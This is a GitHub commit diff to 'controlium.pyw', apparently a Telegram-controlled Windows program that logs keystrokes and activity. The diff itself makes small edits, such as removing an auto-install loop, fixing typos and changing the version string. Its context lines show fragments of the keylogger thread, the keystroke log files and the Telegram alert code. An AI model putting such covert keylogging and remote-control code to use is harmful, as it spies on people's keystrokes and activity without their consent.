Skip to content

Commit

Permalink
Update controlium.pyw
Browse files Browse the repository at this point in the history
  • Loading branch information
ashfaaqrifath authored Mar 9, 2024
1 parent fcbad78 commit bd67f8d
Showing 1 changed file with 5 additions and 22 deletions.
27 changes: 5 additions & 22 deletions controlium.pyw
Original file line number Diff line number Diff line change
Expand Up @@ -6,16 +6,6 @@ import socket
import datetime
import subprocess
import threading
import importlib

packages = ["psutil", "pyperclip", "telebot", "requests", "winshell", "webbrowser", "pyttsx3", "pygetwindow", "pynput", "plyer"]

for pkg in packages:
if importlib.util.find_spec(pkg) is None:
subprocess.check_call(["pip", "install", pkg])
else:
pass

import psutil
import pyperclip
import telebot
Expand Down Expand Up @@ -44,11 +34,10 @@ def telegram_alert(send):
response = requests.get(send_text)
return response.json()


def win_notification(message):
msg = message.text
notification.notify(
title="Windows Notification",
title="Windows notification",
message=msg,
app_icon=None,
timeout=5,)
Expand All @@ -65,7 +54,7 @@ def command_engine(message):
elif message.text.lower() == "stop":
notification.notify(
title="Controlium Engine",
message="Program Termianted",
message="Program terminated",
app_icon=None,
timeout=3,)

Expand Down Expand Up @@ -207,7 +196,6 @@ folder2 = os.path.exists("Keystroke Logs")
if folder2 == False:
os.mkdir("Keystroke Logs")


date = datetime.datetime.now().strftime(f"%h{'('}%d{')'}:%H:%M")
log_file = str(date).replace(":", "-") + "-Log.txt"
folder = "Activity Logs"
Expand Down Expand Up @@ -265,7 +253,7 @@ def key_release(key):
def log_keystrokes():
time_stamp = datetime.datetime.now().strftime("%D:%h:%H:%M:%S")
with open(key_log_file, "a") as f:
f.write(f'''CONTROLIUM ENGINE v1.3.0
f.write(f'''CONTROLIUM ENGINE v1.4.0
{str(time_stamp)}
<< KEYSTROKE LOG >>
Expand All @@ -285,7 +273,7 @@ def log_keystrokes():

def log_activity():
time_stamp = datetime.datetime.now().strftime("%D:%h:%H:%M:%S")
logging.info(f'''CONTROLIUM ENGINE v1.3.0
logging.info(f'''CONTROLIUM ENGINE v1.4.0
{str(time_stamp)}
<< ACTIVITY LOG >>
Expand Down Expand Up @@ -334,12 +322,6 @@ def speech_engine(speak):
engine.runAndWait()


def time_info():
time = datetime.datetime.now().strftime("%H:%M")
speech_engine(f"The time is {time} AM")

##########################################################################################

def telegram_bot():
while True:
try:
Expand All @@ -348,6 +330,7 @@ def telegram_bot():
except:
time.sleep(5)

##########################################################################################

if __name__ == "__main__":
keystroke_thread = threading.Thread(target=log_keystrokes)
Expand Down

0 comments on commit bd67f8d

Please sign in to comment.